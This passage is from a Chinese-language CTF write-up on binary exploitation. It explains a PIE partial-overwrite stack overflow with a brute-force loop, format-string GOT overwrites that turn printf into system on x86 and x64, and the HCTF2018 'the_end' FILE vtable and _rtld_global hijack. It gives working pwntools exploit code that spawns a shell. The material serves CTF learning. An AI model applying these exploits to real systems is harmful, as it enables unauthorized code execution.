5.如果直接爆破,按照数学期望需要尝试0xffff+1=65535+1这么多次,太巨大。这里又考虑到yyy时不会改变的,所以用IDA可以看到frontdoor函数的后三位地址为900,我们在写payload的时候直接写入即可,就是PIE也不会发生改变。现在唯一不确定的就是(x)yyy中的x。直接爆破就好,平均尝试的数学期望为f+1=16次,也不算太高。

6.所以尝试写payload:

(1)修改set_user中的a1[180]的值:

1
2
3
4
5
6
7
#注释头

def setlength():
io.recvuntil('> ')
payload_setlength = 'a'*40 #padding
payload_setlength += '\xca'
io.sendline(payload_setlength)

(2)执行栈溢出,覆盖返回地址的低两个字节为”\x(x)9”和”\x01”(大端序,注意顺序)

1
2
3
4
5
6
7
8
#注释头

def StackOverflow():
io.recvuntil('> ')
payload_StackOverflow = 'a'*200 #padding
payload_StackOverflow += '\x01\xa9'
#frontdoor的地址后三位是0x900, +1跳过push rbp,影响
io.sendline(payload_StackOverflow)

这里跳过push rbp的原因是因为strncpy的关系,如果发送的是\x00,\xa9,那么先复制\x00,则会由于strncpy的机制提前结束复制,造成a9没办法复制进去,从而程序出错。(发送的由于是fget函数,所以会全盘接受,\x00也会接受,不是读取函数的原因。)而跳过push rbp并不影响frontdoor里面的函数执行,所以不会影响getshell。

(3)由于每次地址随机,所以地址随机成a900的概率为1/16,那么就考虑用自动化来爆破实施:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

i = 0
while True:
i += 1
print i
io.remote("127.0.0.1",0000)
setlength()
StackOverflow()
try:
io.recv(timeout = 1)
#要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发 EOFError
except EOFError:
io.close()
continue
else:
sleep(0.1)
io.sendline('/bin/sh\x00')
sleep(0.1)
io.interactive() #没有EOFError的话就是爆破成功,可以开shell
break

▲如果直接process本地则没办法成功运行,需要用socat转发,用127.0.0.1本地连接才可以。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

Format_x86和format_x64

★32位程序:

1.常规checksec,只开了NX。打开IDA查漏洞,main函数中格式化字符串漏洞:

1
2
3
4
5
#注释头

memset(&buf, 0, 0x12Cu);
read(0, &buf, 0x12Bu);
printf(&buf);

2.这里会有一个重复读取的循环,开shell需要system函数和binsh字符串,这里只有system函数,got和plt都对应有,没有binsh字符串,没有libc。

3.由于printf漏洞,我们可以利用这个漏洞向指定的内存地址写入指定的内容,这里考虑将printf的got中的值更改system函数plt表项的值。原本如果调用printf函数,则相当于执行printf函数的got表中保存的printf函数的真实地址处的代码,更改之后相当于执行system函数plt表地址处的代码,也就相当于调用system函数。原理如下:

原本执行Printf函数:相当于执行printf的执行代码

1
2
3
4
#注释头

printf_got_addr: 7Fxxxxxx
7Fxxxxxx: printf的执行代码

更改之后:相当于执行jmp system_got代码,那就相当于执行system函数了

1
2
3
4
#注释头

printf_got_addr: 08048320(system_plt)
08048320(system_plt): jmp system_got

4.那么预想程序总流程如下:第一次读取,输入payload,然后printf执行,将printf的got表更改为system函数plt表。通过while循环,第二次读取,输入binsh字符存入buf中,此时printf(&buf),相当于system(&buf),那就相当于system(binsh),即可直接getshell。

5.编写payload,首先需要计算一下偏移地址,将断点下在call printf上,通过调试能够查看到printf写入栈中的地址距离esp的偏移量为6,所以使用控制字符%n来将printf劫持到system,这里偏移就会成n-1为5。偏移代表的是取参数的时候的偏移量,下面的payload对应的5,6,7,8就对应向地址print_got,print_got+1,print_got+2,print_got+3写入内容。由于是修改地址,所以用%hhn来逐个修改,防止向服务器发送过大数据从而出错。

(1)找到got表和plt表项的值

1
2
3
4
#注释头

printf_got = 0x08049778
system_plt = 0x08048320

(2)32位程序,4个字节一个地址,所以需要四个地址:

1
2
3
4
5
6
#注释头

payload = p32(printf_got)
payload += p32(printf_got+1)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

(3)由于是大端序,低地址保存的是高地址的内容,print_got需要保存的应该是system_plt的最后一个字节,也就是0x20。

①由于前面已经输入了p32(printf_got)+p32(printf_got1)+p32(printf_got2)+p32(printf_got3),这些在没有遇到%之前一定会被打印出来,共计16个字节,而我们需要让它总共打印出0x20个字节,所以我们再打印(0x20-16)个字节。

②同样,由于前面已经打印了0x20个字节,我们总共需要打印0x83个字节,所以应该再让程序打印%(0x83-0x20)个字节,之后道理相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#注释头


payload += "%"
payload += str(0x20-16)
payload += "c%5$hhn"
#写入0x20到地址print_got

payload += "%"
payload += str(0x83-0x20)
payload += "c%6$hhn"
#写入0x83到地址print_got+1

payload += "%"
payload += str(0x104-0x83)
payload += "c%7$hhn"
#写入0x04到地址print_got+2,0x104被截断为04

payload += "%"
payload += str(0x108-0x104)
payload += "c%8$hhn"
#写入0x08到地址print_got+3,0x108被截断为08

▲为了便于理解,下面代码也行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#注释头

payload = p32(printf_got+1)
#使用hhn写入,分别对应待写入的第3,4,2,1字节
payload += p32(printf_got)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

payload += "%"
payload += str(0x83-16) #被写入的数据,注意四个地址长度是16,需要减掉
payload += "c%5$hhn"

payload += "%"
payload += str(0x120-0x83)
payload += "c%6$hhn"

payload += "%"
payload += str(0x204-0x120) #由于是hhn所以会被截断,只留后两位
payload += "c%7$hhn"

payload += "%"
payload += str(0x208-0x204)
payload += "c%8$hhn"

6.其实可以直接使用类Fmtstr,效果一样,将Payload替换成下列代码即可

payload = fmtstr_payload(5, {printf_got:system_plt})

7.之后再io.sendline(‘/bin/sh\x00’),即可getshell

★64位程序

1.由于64位,传参的顺序为rdi, rsi, rdx, rcx, r8, r9,接下来才是栈,所以偏移量应该是6指向栈顶。之后考虑使用fmtstr来直接构造获取:

payload = fmtstr_payload(6, {printf_got:system_plt})

但是这个方法会出错,因为在这种情况下,我们的地址如下

1
2
3
4
#注释头

printf_got = 0x00601020
system_plt = 0x00400460

需要写入地址printf_got的首两位是00,且以p64形式发送,所以先发送的是0x20,0x10,0x60,0x00,0x00…….而Read函数读到0x00就会截断,默认这是字符串结束了,所以之后的都无效了。

2.那么考虑手动方式,将p64(printf_got)放在payload的末尾,这样就只有最后才会读到0x00,其它的有效数据都能读入。

3.使用手动方式就需要再次计算偏移量,我们的payload构成应该是

payload = ”%”+str(system_plt)+”c%8$lln” + p64(printf_got)

这里偏移量为8是因为经过调试发现我们的输入从栈顶开始计算,也就是从栈顶开始,一共输入了

1(%) + 7(0x400460转换成十进制为4195424,也就是7个字节) + 7(“c%8$lln”) + 8(p64_printf_got)=23个字节。

经过计算我们发现,p64前面的字节数为15个字节,不足8的倍数,这样会导致printf_got的最后一个字节20被截断至偏移量为7的位置,从而使得偏移量为8的位置只有6010,导致出错。所以我们需要填充一个字节进去,让它不会被截断。

img

1
2
3
#注释头

payload = ”a%” + str(system_plt-1)+”c%8$lln” + p64(printf_got)

加入一个字节a就可以使得在参数偏移量为6和7的位置中不会截断0x601020。同时加入字节a就要使system_plt-1来满足最终打印的字符个数为0x00400460,从而才能成功将0x00400460(system_plt)写入到0x00601020(printf_got)

5.完成payload之后,再次循环进入,输入io.sendline(‘/bin/sh\x00’)后interactive()即可getshell

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

HCTF2018_the_end

1.常规checksec,除了canary之外保护全开。IDA打开找漏洞,没什么漏洞,就是程序会泄露出sleep的地址,然后让我们在任意地方写入5个字节,并且给了libc文件,那么就可以算出libc基地址,版本为2.23。

printf(“here is a gift %p, good luck ;)\n”, &sleep);

2.程序最后调用exit(1337),两种方法:

(1)exit会无条件通过_IO_2_1_stdout_结构体调用vtable虚表中的_setbuf函数。

(2)exit会通过_IO_2_1_stdout_结构体调用vtable虚表中的_overflow函数,但需要满足以下条件:

1
2
3
4
#注释头

_IO_FILE_plus._mode <= 0
_IO_FILE_plus._IO_write_ptr > _IO_FILE_plus._IO_write_base

所以我们伪造的_IO_FILE_plus结构体就需要满足上述条件

(3)exit会调用_rtld_global结构体中的_dl_rtld_lock_recursive函数,不用满足条件。

3.三种方法攻击思路:

(1)由于会调用_setbuf函数,vtable位于libc数据段上不可写部分,无法直接修改vtable对应的_IO_file_jumps中的函数指针。那么可以伪造_IO_2_1_stdout_中的vtable指针,利用2字节修改vtable指针的倒数两个字节,使其指向一个可读可写内存,形成一个fake_IO_file_jumps,然后在该内存对应_setbuf函数偏移处伪造one_gadget地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process('./the_end')

vtable_offset = 0xd8
_setbuf_offset = 0x58
fake_vtable_offset = 0x3c5588
#这个需要自己调试找,并保证偏移_setbuf_offset处修改之后程序不会直接崩溃

sleep_addr = p.recvuntil(', good luck',drop=True).split(' ')[-1]
libc_base = long(sleep_addr,16) - libc.symbols['sleep']

one_gadget = libc_base + 0xf02b0
_IO_2_1_stdout_vtable_addr = libc_base + libc.sym['_IO_2_1_stdout_'] + vtable_offset

fake_vtable = libc_base + fake_vtable_offset
fake_vtable_setbuf_addr = libc_base + fake_vtable_offset + _setbuf_offset

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)

for i in range(2):
p.send(p64(_IO_2_1_stdout_vtable_addr+i))
p.send(p64(fake_vtable)[i])

for i in range(3):
p.send(p64(fake_vtable_setbuf_addr+i))
p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")

p.interactive()

(2)_IO_FILE_plus结构体位于libc数据段上可读可写内存处,可以直接修改,但是修改字节数只有5个,按照第一种方法:

1
2
3
4
#注释头

_IO_FILE_plus._mode <= 0 //该条件自动就会满足
_IO_FILE_plus._IO_write_ptr > _IO_FILE_plus._IO_write_base//该条件需要设置1个字节

再利用1个字节修改vtable的倒数第二个字节,伪造vtable指针,然后利用3个字节在该内存对应_setbuf函数偏移处伪造one_gadget地址。

(3)_rtld_global结构体位于libc数据段上可读可写内存处,可以直接修改。那么直接修改_dl_rtld_lock_recursive函数指针指向one_gadget就行了。

方法(2)和方法(3)参考:

https://blog.csdn.net/Mira_Hu/article/details/103736917

参考资料:

https://wiki.x10sec.org/pwn/linux/io_file/fake-vtable-exploit-zh/